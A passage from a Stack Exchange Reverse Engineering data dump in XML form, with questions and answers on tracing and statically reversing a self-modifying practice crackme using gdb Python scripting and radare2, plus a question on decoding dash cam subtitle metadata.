href=&quot;https://github.com/booto/convert_dts&quot; rel=&quot;noreferrer&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2015-12-17T07:17:58.133" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="11577" PostTypeId="2" ParentId="9565" CreationDate="2015-12-17T07:21:00.473" Score="1" Body="&lt;p&gt;Have you visited the forums of these two sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.unknowncheats.me&quot; rel=&quot;nofollow&quot;&gt;http://www.unknowncheats.me&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mpgh.net&quot; rel=&quot;nofollow&quot;&gt;http://www.mpgh.net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both have dedicated reverse engineering and programming sub-forums specific to games.&lt;/p&gt;&#xA;" OwnerUserId="14249" LastActivityDate="2015-12-17T07:21:00.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11578" PostTypeId="1" CreationDate="2015-12-17T11:43:09.580" Score="6" ViewCount="2208" Body="&lt;p&gt;I am learning reversing an I am studying a code, which modifies itself (actually it is a &lt;a href=&quot;http://www.crackmes.de/users/monads/facets/&quot;&gt;crackme&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It contains statements like: &lt;code&gt;movw $0xc031, 0x(%edx)&lt;/code&gt;, where &lt;code&gt;edx&lt;/code&gt; contains the address of a statement. With breakpoints I can stop and inspect the modified code. I save it into a binary and disassemble with &lt;code&gt;objdump&lt;/code&gt; to see what is the new statement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this line by line is a bit slow. Is there better way to reverse this code? Maybe there are other tools, or functionalities in &lt;code&gt;gdb&lt;/code&gt; unknown to me.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="53" LastEditDate="2015-12-17T12:49:27.797" LastActivityDate="2015-12-18T11:10:39.710" Title="Reversing self-modifying code" Tags="|disassembly|linux|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11579" PostTypeId="2" ParentId="11578" CreationDate="2015-12-17T12:48:04.927" Score="3" Body="&lt;p&gt;For now, the best way to deal with self-modifying code is to use dynamic analysis. Most of the static analysis techniques will fail to detect and to find out what are the modified parts of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you need a tools that will allow you to extract a full trace of the execution of the software (I mean a trace instruction by instruction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can consider at least two cases, either the software does not have any anti-debug protection and then you can use the &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Python-API.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;gdb&lt;/code&gt; Python API&lt;/a&gt;  to save and display a full trace of each instruction. Or, the software has some anti-debug protection and you may use tools such as the &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow&quot;&gt;Intel Pin framework&lt;/a&gt; which will let you record the instruction trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got some time to dig the &lt;code&gt;gdb&lt;/code&gt; Python API way today. Here is a small script that step through the program, collect all the assembly instruction and send it to the &lt;code&gt;stdout&lt;/code&gt; of &lt;code&gt;gdb&lt;/code&gt; (I did it quick and &lt;strong&gt;extremely dirty&lt;/strong&gt;... there are many ways to improve it), &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import gdb&#xA;&#xA;gdb.execute('break main')&#xA;gdb.execute('run')&#xA;&#xA;while (True):&#xA;    gdb.write (gdb.execute('x /i $pc', to_string=True).rstrip('\n'), gdb.STDOUT)&#xA;    gdb.execute('stepi', to_string=False)&#xA;    gdb.flush ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, just execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; gdb -x ./script.py ./main 1&amp;gt; log.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really would have liked to improve the way to end the &lt;code&gt;while&lt;/code&gt; loop by detecting that &lt;code&gt;gdb&lt;/code&gt; has reached the end of the program. And, also, to have a better control on the output to be cleanly written in a file (and not thrown away in &lt;code&gt;stdout&lt;/code&gt;)... But, I have no extra time to finish it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more about all that see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Python.html&quot; rel=&quot;nofollow&quot;&gt;Extending &lt;code&gt;gdb&lt;/code&gt; using Python&lt;/a&gt;, in &lt;code&gt;gdb&lt;/code&gt; documentation.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Python-API.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;gdb&lt;/code&gt; Python API&lt;/a&gt;, in &lt;code&gt;gdb&lt;/code&gt; documentation.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/wiki/PythonGdbTutorial&quot; rel=&quot;nofollow&quot;&gt;Python &lt;code&gt;gdb&lt;/code&gt; Tutorial&lt;/a&gt;, by Tom Tromey.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-17T20:39:31.243" LastActivityDate="2015-12-17T20:39:31.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11580" PostTypeId="2" ParentId="1937" CreationDate="2015-12-17T19:00:55.527" Score="0" Body="&lt;p&gt;Currently I'm using TreeDBNotes, they have a free and pro version available.  I haven't compared it to any of the methods mentioned in other answers, but find it quite useful for keeping track of my project notes/data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mytreedb.com&quot; rel=&quot;nofollow&quot;&gt;http://www.mytreedb.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14249" LastActivityDate="2015-12-17T19:00:55.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11581" PostTypeId="2" ParentId="11578" CreationDate="2015-12-17T19:16:34.410" Score="2" Body="&lt;p&gt;I usually recommend using Intel's PIN framework however, for a single PE file its a bit over kill. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not use Radare2 debugging feature? &#xA;You can see how it can be used to solve a crackme &lt;a href=&quot;http://radare.org/doc/html/Section22.2.4.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2015-12-17T19:16:34.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11582" PostTypeId="1" AcceptedAnswerId="11586" CreationDate="2015-12-17T20:33:18.273" Score="3" ViewCount="840" Body="&lt;p&gt;I'm trying to write a video player for clips from Roadhawk dash cams that shows a speedometer and map. I've got the basics covered, it plays the video and sound and extracts the raw metadata from the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This raw metadata includes speed, GPS coordinates and G-force.&#xA;My first target is a Roadhawk DC2. Roadhawk provides software for doing this already but it is closed source. &lt;a href=&quot;http://www.roadhawk.co.uk/roadhawk-dc2-software&quot; rel=&quot;nofollow&quot;&gt;http://www.roadhawk.co.uk/roadhawk-dc2-software&lt;/a&gt;&#xA;I may be able to reverse engineer the software, or even the camera firmware, but I wanted to know if there was a better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The metadata is stored in a subtitle stream in the video file. I've played a one minute file through my software and dumped all the raw data out and have looked at the same file in the existing software to get the decoded values for the first frame. (It's awkward to determine more than the first frame because of the seek resolution in the existing software. This is one reason for writing my own.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all appears to be printable ASCII characters (presumably a constraint of the qt-text subtitle encoding system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When looking at all of the data, I can see that in the last third of the data frames, some of the text remains mostly constant. In the last third of the video, the car is waiting at a set of lights, this could be the gforce data. This is as far as I got with my investigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frame for which I know the decoding looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.+;;;D=;-;6;;;;D;JP;4;;;=D;P?;O;;;=D=L;-HO71G&amp;gt;F=;;;JJF:FNJNBDL=R?F3F;;=;PDLR;;F0F;;=DRFJJ?DRJF??;J=LF;;;D;F:*59~&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And decodes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Gforce X = +0.108&#xA;       Y = +0.036&#xA;Lat      = 53.99020&#xA;Long     = -1.10792&#xA;Speed    = 2.0mph&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full list of captured frames is here: &lt;a href=&quot;http://bitofahack.com/stuff/capture&quot; rel=&quot;nofollow&quot;&gt;http://bitofahack.com/stuff/capture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recognise this as any particular method of encoding. It may even have some kind of compression, although I doubt that when I consider that the frames are longer than all the data simply printed as one long string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to further my investigation?&lt;/p&gt;&#xA;" OwnerUserId="14446" LastActivityDate="2015-12-18T03:23:05.250" Title="How to reverse engineer dash cam metadata" Tags="|file-format|packet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11583" PostTypeId="1" AcceptedAnswerId="12281" CreationDate="2015-12-17T20:50:58.517" Score="7" ViewCount="4332" Body="&lt;p&gt;While trying to answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11578/reversing-self-modifying-code/11579&quot;&gt;another question&lt;/a&gt;, I tried to set-up a Python script to automatize the extraction of an assembly execution trace. But, I am really not satisfied of this script and I would like to know how to improve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, here is the script:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import gdb&#xA;&#xA;gdb.execute('break main')&#xA;gdb.execute('run')&#xA;&#xA;while (True):&#xA;    gdb.write (gdb.execute('x /i $pc', to_string=True).rstrip('\n'), gdb.STDOUT)&#xA;    gdb.execute('stepi', to_string=False)&#xA;    gdb.flush ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, just execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; gdb -x ./script.py ./main 1&amp;gt; log.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problems that I would like to solve are as follow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First, the &lt;code&gt;while(True)&lt;/code&gt; is definitely not satisfactory. I would like to stop or suspend the loop when a breakpoint or an exit is reached.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, the way we export the list of instructions outside of &lt;code&gt;gdb&lt;/code&gt; is not really satisfactory. Saving it to a file would be much better than having to redirect &lt;code&gt;stdout&lt;/code&gt; to a file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, be able to interact with the software, feeding it through &lt;code&gt;stdin&lt;/code&gt; would also be something we want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, if you know how to improve this script in any manner, I would be interested.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-03-22T18:58:09.173" Title="How to get a full execution trace with Python gdb?" Tags="|disassembly|gdb|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11584" PostTypeId="2" ParentId="11578" CreationDate="2015-12-17T21:20:40.543" Score="9" Body="&lt;p&gt;Just for kicks I downloaded the crackme and fed it to &lt;a href=&quot;http://rada.re&quot; rel=&quot;noreferrer&quot;&gt;radare&lt;/a&gt; in a windows box dynamic analysis is not needed to solve this crackme &lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 facets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;lets string this binary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; iz&#xA;vaddr=0x080483d0 paddr=0x000003d0 ordinal=000 sz=41 len=40 section=.rodata type=&#xA;a string=run as ./prog a_number (e.g. ./prog 90)\n&#xA;vaddr=0x080483f9 paddr=0x000003f9 ordinal=001 sz=7 len=6 section=.rodata type=a&#xA;string=good.\n&#xA;vaddr=0x08048400 paddr=0x00000400 ordinal=002 sz=6 len=5 section=.rodata type=a&#xA;string=bad.\n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it appears that the file takes a single argument as input and prints good or bad based on some criteria from the strings output   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets move forward and  see what's at entry point&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; pd 14&#xA;           ;-- entry0:&#xA;           ;-- section..text:&#xA;           0x080495e0    31ed           xor ebp, ebp                   ; [19]&#xA;           0x080495e2    5e             pop esi&#xA;           0x080495e3    89e1           mov ecx, esp&#xA;           0x080495e5    83e4f0         and esp, 0xfffffff0&#xA;           0x080495e8    50             push eax&#xA;           0x080495e9    54             push esp&#xA;           0x080495ea    52             push edx&#xA;           0x080495eb    68a0980408     push 0x80498a0&#xA;           0x080495f0    6840980408     push 0x8049840&#xA;           0x080495f5    51             push ecx&#xA;           0x080495f6    56             push esi&#xA;           0x080495f7    6850970408     push 0x8049750&#xA;           0x080495fc    e86fedffff     call sym.imp.__libc_start_main&#xA;             ^- 0x08048370(unk, unk, unk, unk, unk, unk, unk, unk) ; sym.imp._&#xA;           0x08049601    f4             hlt&#xA;[0x080495e0]&amp;gt; pd 1 @0x8048370&#xA;           ;-- sym.imp.__libc_start_main:&#xA;           0x08048370    ff25c8950408   jmp dword [reloc.__libc_start_main_200]&#xA;[0x080495e0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Searching for &lt;code&gt;__libc_start_main&lt;/code&gt; on the web will yield &lt;a href=&quot;http://www.tldp.org/LDP/LG/issue84/hawk.html&quot; rel=&quot;noreferrer&quot;&gt;this prototype&lt;/a&gt; for the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(__libc_start_main) (int (*main) (int, char **, char **),&#xA;        int argc,&#xA;        char *__unbounded *__unbounded ubp_av,&#xA;        void (*init) (void),&#xA;        void (*fini) (void),&#xA;        void (*rtld_fini) (void),&#xA;        void *__unbounded stack_end)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;8049750&lt;/code&gt; must be the address of main, lets disassemble it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; pd @ 0x8049750&#xA;           0x08049750    55             push ebp&#xA;           0x08049751    89e5           mov ebp, esp&#xA;           0x08049753    53             push ebx&#xA;           0x08049754    83ec44         sub esp, 0x44&#xA;           0x08049757    e800000000     call 0x804975c&#xA;             ^- 0x0804975c() ; entry0&#xA;           0x0804975c    58             pop eax  &#xA;       0x0804975d    81c060feffff   add eax, 0xfffffe60&#xA;       ,=&amp;lt; 0x0804977d    0f8422000000   je 0x80497a5 &amp;lt;--other_branch &#xA;       --------------------&#xA;           0x0804977a    8945e4         mov dword [ebp - 0x1c], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It removes the return address from the stack to &lt;code&gt;eax&lt;/code&gt; and adds &lt;code&gt;-1a0&lt;/code&gt;, &#xA;&lt;code&gt;eax = 804975c + (-1a0 ) = 80495bc&lt;/code&gt; and stores it in a local var&#xA;with further reading of disassembly we can deduce it checks if &lt;code&gt;argc&lt;/code&gt; is equal to 2 (ie just one argument is provided to the program) and if it is not, it uses this for printing some stuff&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08049783    8b45e4         mov eax, dword [ebp - 0x1c]&#xA;0x08049786    8d8814eeffff   lea ecx, [eax - 0x11ec]&#xA;0x0804978c    890c24         mov dword [esp], ecx&#xA;0x0804978f    89c3           mov ebx, eax&#xA;0x08049791    e8faebffff     call sym.imp.printf&#xA;0x08049796    c745f8000000.  mov dword [ebp - 8], 0&#xA;0x0804979d    8945e0         mov dword [ebp - 0x20], eax&#xA;0x080497a0    e983000000     jmp 0x8049828&#xA;&#xA;[0x080495e0]&amp;gt; pd @ 0x8049828&#xA;           0x08049828    8b45f8         mov eax, dword [ebp - 8]&#xA;           0x0804982b    83c444         add esp, 0x44&#xA;           0x0804982e    5b             pop ebx&#xA;           0x0804982f    5d             pop ebp&#xA;           0x08049830    c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lets see what is printed to console &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax- 0x11ec = 80483d0 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we saw this address in strings output didn't we? Don't remember and lazy to scroll up?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; psz @0x80483d0&#xA;run as ./prog a_number (e.g. ./prog 90)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so we can call this branch &lt;code&gt;usage()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(argc != 2){ usage();return 0;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lets follow the other_branch    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears it takes the argument passed from the command line and converts &#xA;it to a number using &lt;code&gt;strtol&lt;/code&gt; and calls a function and if the return is not 0, it prints &lt;em&gt;good&lt;/em&gt; else, &lt;em&gt;bad&lt;/em&gt; .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; pd @ 0x80497a5&#xA;           0x080497a5    31c0           xor eax, eax&#xA;           0x080497a7    b90a000000     mov ecx, 0xa&#xA;           0x080497ac    8b55f0         mov edx, dword [ebp - 0x10]  &amp;lt;- char* argv[]&#xA;           0x080497af    8b5204         mov edx, dword [edx + 4]        ; [0x4&#xA;           0x080497b2    891424         mov dword [esp], edx &#xA;           0x080497b5    c74424040000.  mov dword [esp + 4], 0          ; [0x4&#xA;           0x080497bd    c74424080a00.  mov dword [esp + 8], 0xa        ; [0x8&#xA;           0x080497c5    8b5de4         mov ebx, dword [ebp - 0x1c] this is  80495bc&#xA;           0x080497c8    8945dc         mov dword [ebp - 0x24], eax&#xA;           0x080497cb    894dd8         mov dword [ebp - 0x28], ecx&#xA;           0x080497ce    e8cdebffff     call sym.imp.strtol&#xA;             ^- 0x080483a0() ; sym.imp.strtol&#xA;           0x080497d3    8945ec         mov dword [ebp - 0x14], eax&#xA;           0x080497d6    8b45ec         mov eax, dword [ebp - 0x14]&#xA;           0x080497d9    890424         mov dword [esp], eax&#xA;           0x080497dc    8b5de4         mov ebx, dword [ebp - 0x1c]&#xA;           0x080497df    e8fcfeffff     call 0x80496e0&#xA;           0x080497e4    8945e8         mov dword [ebp - 0x18], eax&#xA;           0x080497e7    837de800       cmp dword [ebp - 0x18], 0&#xA;       ,=&amp;lt; 0x080497eb    0f841b000000   je 0x804980c&#xA;       |   0x080497f1    8b45e4         mov eax, dword [ebp - 0x1c]&#xA;       |   0x080497f4    8d883deeffff   lea ecx, [eax - 0x11c3]&#xA;       |   0x080497fa    890c24         mov dword [esp], ecx&#xA;       |   0x080497fd    89c3           mov ebx, eax&#xA;       |   0x080497ff    e88cebffff     call sym.imp.printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the string at `11c3 is likely the &lt;em&gt;good boy&lt;/em&gt; one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; psz @0x80495bc - 0x11c3&#xA;good.&#xA;[0x080495e0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets see the rest of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; pd 13 @ 0x804980c&#xA;           0x0804980c    8b45e4         mov eax, dword [ebp - 0x1c]&#xA;           0x0804980f    8d8844eeffff   lea ecx, [eax - 0x11bc]&#xA;           0x08049815    890c24         mov dword [esp], ecx&#xA;           0x08049818    89c3           mov ebx, eax&#xA;           0x0804981a    e871ebffff     call sym.imp.printf&#xA;             ^- 0x08048390() ; sym.imp.printf&#xA;           0x0804981f    8945d0         mov dword [ebp - 0x30], eax&#xA;           0x08049822    8b45e8         mov eax, dword [ebp - 0x18]&#xA;           0x08049825    8945f8         mov dword [ebp - 8], eax&#xA;           0x08049828    8b45f8         mov eax, dword [ebp - 8]&#xA;           0x0804982b    83c444         add esp, 0x44&#xA;           0x0804982e    5b             pop ebx&#xA;           0x0804982f    5d             pop ebp&#xA;           0x08049830    c3             ret&#xA;[0x080495e0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;string at 11bc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; psz @0x80495bc - 0x11bc&#xA;bad.&#xA;[0x080495e0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so we need to analyse the function at &lt;code&gt;0x80496e0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08049644]&amp;gt; pdi @0x80496e0&#xA;0x080496e0 c7054b9704088b1424c3  mov dword [0x804974b], 0xc324148b&#xA;0x080496ea       e85c000000  call 0x804974b&#xA;0x080496ef     66c7420631c0  mov word [edx + 6], 0xc031&#xA;0x080496f5             ebe9  jmp 0x80496e0&#xA;[0x08049644]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it writes &lt;code&gt;0xc324148b&lt;/code&gt; to &lt;code&gt;804974b&lt;/code&gt; and calls it (self modifying code]&#xA;what is executed will be the instruction written there (notice endianness).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets uses &lt;code&gt;rasm2&lt;/code&gt; on the reversed stream  to get the disassembly that will be executed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08049644]&amp;gt; !rasm2 -d 0x8b1424c3&#xA;mov edx, dword [esp]&#xA;ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it moves the return address to &lt;code&gt;edx&lt;/code&gt; (&lt;code&gt;edx&lt;/code&gt; = &lt;code&gt;0x080496ef&lt;/code&gt; )&#xA;&lt;code&gt;edx+6 = 0x80496f65&lt;/code&gt;, so &lt;code&gt;jmp 0x80496e0&lt;/code&gt; will become &lt;code&gt;xor eax eax&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08049644]&amp;gt; !rasm2 -d 31c0&#xA;xor eax, eax&#xA;[0x08049644]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that you can follow further from here, execute &lt;code&gt;rasm2&lt;/code&gt; from radare on the stream to get the modified instructions and construct a new modified function and analyse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to know how to return 1 from that function for you to get good &#xA;that means you need to know what to pass to the function in command line &#xA;most probably it will be a &lt;code&gt;xor&lt;/code&gt; whose pseudo code would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function selfie() { if ((argv[0] xor someconstant) == 0) {return 1} else { return 0; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks jvoisin for the edits &lt;/p&gt;&#xA;&#xA;&lt;p&gt;found a few minutes to analyze the function statically using radare &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9XkIW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9XkIW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;===============================================================================&#xA;0x8049750 is main so disassembling 0x70 bytes (750-6e0)    &#xA;pDi shows the bytes&#xA;instead of executing rasm –d we can use pad too &#xA;[0x080495e0]&amp;gt; pDi 0x70 @0x80496e0&#xA;===============================================================================&#xA;0x080496e0 c7054b9704088b1424c3   mov dword [0x804974b], 0xc324148b &#xA;    [0x080495e0]&amp;gt; pad 8b1424c3      &#xA;    mov edx, dword [esp]&#xA;    ret&#xA;    so until further modification the following two instructions &#xA;  will be executed on call 0x804974b&#xA;  0x804974b   8b1424    mov edx , dword [esp]&#xA;  0x804974e   c3        ret&#xA;===============================================================================&#xA;0x080496ea       e85c000000  call 0x804974b &#xA;    will execute edx = [esp] and retn back&#xA;    so edx will hold the return address of this call &#xA;    which is 0x80496ef&#xA;===============================================================================&#xA;0x080496ef     66c7420631c0  mov word [edx + 6], 0xc031 &#xA;    0x80496ef+6 =   0x080496f5 overwrites next instruction with &#xA;    [0x080495e0]&amp;gt; pad 31c0&#xA;    xor eax, eax&#xA;===============================================================================&#xA;0x080496f5             ebe9  jmp 0x80496e0  over written&#xA;0x080496f5             31c0  xor eax,eax     new instruction&#xA;===============================================================================&#xA;0x080496f7   c7420f66b9b001  mov dword [edx + 0xf], 0x1b0b966&#xA;    0x80496ef+f =   0x080496fe  overwrites next instruction with &#xA;    [0x080495e0]&amp;gt; pad 66b9b001&#xA;  mov cx, 0x1b0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;===============================================================================&#xA;0x080496fe         335c241a  xor ebx, dword [esp + 0x1a]&#xA;0x080496fe         66b9b001  mov cx, 0x1b0  first mod&#xA;0x080496fe         8b442408  mov eax, dword [esp + 8]  second mod junk &#xA;===============================================================================&#xA;0x08049702         66bbb000  mov bx, 0xb0  executed as it is first time&#xA;0x08049702         3b442412  cmp eax, dword [esp + 0x12]  second mod junk&#xA;===============================================================================&#xA;0x08049706       e840000000  call 0x804974b&#xA;  Same logic as earlier edx will hold 0x804970b return address&#xA;  and will be returning to Next instruction&#xA;===============================================================================&#xA;0x0804970b   c742f38b442408  mov dword [edx - 0xd], 0x824448b&#xA;  0x804970b-0xd = 0x080496fe &#xA;  [0x080495e0]&amp;gt; pad 8b442408&#xA;  mov eax, dword [esp + 8]&#xA;===============================================================================&#xA;0x08049712   c7421466837c24  mov dword [edx + 0x14], 0x247c8366&#xA;  0x804970b+0x14  = 0x0804971f &#xA;  0x08049719     66c742180407  mov word [edx + 0x18], 0x704&#xA;  0x804970b+0x18  = 0x08049723 &#xA;  [0x080495e0]&amp;gt; pad 66837c240407&#xA;  cmp word [esp + 4], 7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;===============================================================================&#xA;0x0804971f     66837c24100d  cmp word [esp + 0x10], 0xd  over written&#xA;0x0804971f     66837c240407  cmp word [esp + 4], 7   new instruction&#xA;===============================================================================&#xA;0x08049725         660f44d9  cmove bx, cx                exec as it is 1st time&#xA;0x08049725         66894c240f  mov word [esp + 0xf], cx  junk&#xA;===============================================================================&#xA;0x08049729   c742f73b442412  mov dword [edx - 9], 0x1224443b&#xA;0x804970b-0x9  = 0x08049702 see above it is junk&#xA;===============================================================================&#xA;0x08049730       e816000000  call 0x804974b&#xA;Same logic as earlier edx will hold 0x8049735 return address&#xA;and will be returning to Next instruction&#xA;===============================================================================&#xA;0x08049735   c742f1894c240f  mov dword [edx - 0xf], 0xf244c89&#xA;0x0804973c   c742f78944240f  mov dword [edx - 9], 0xf244489&#xA;    0x8049735-0x9  = 0x0804972c  both writes to middle of sequnce junk mods&#xA;===============================================================================&#xA;0x08049743         66895a16  mov word [edx + 0x16], bx  &amp;lt;------ &#xA;0x08049747         c64218c3  mov byte [edx + 0x18], 0xc3 &amp;lt;--------&#xA;0x8049735+0x16/18 = 804974b,804974d &#xA;bx will hold 0x00b0 or 0x01b0 based on cmove based on cmp word [esp+4],7 Zf flag&#xA;and will be executed &#xA;&#xA;[0x08049720]&amp;gt; pad b000&#xA;mov al, 0&#xA;[0x08049720]&amp;gt; pad b001&#xA;mov al, 1&#xA;[0x08049720]&amp;gt;&#xA;and the function will return back with either 0 or 1 :)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-12-18T11:10:39.710" LastActivityDate="2015-12-18T11:10:39.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
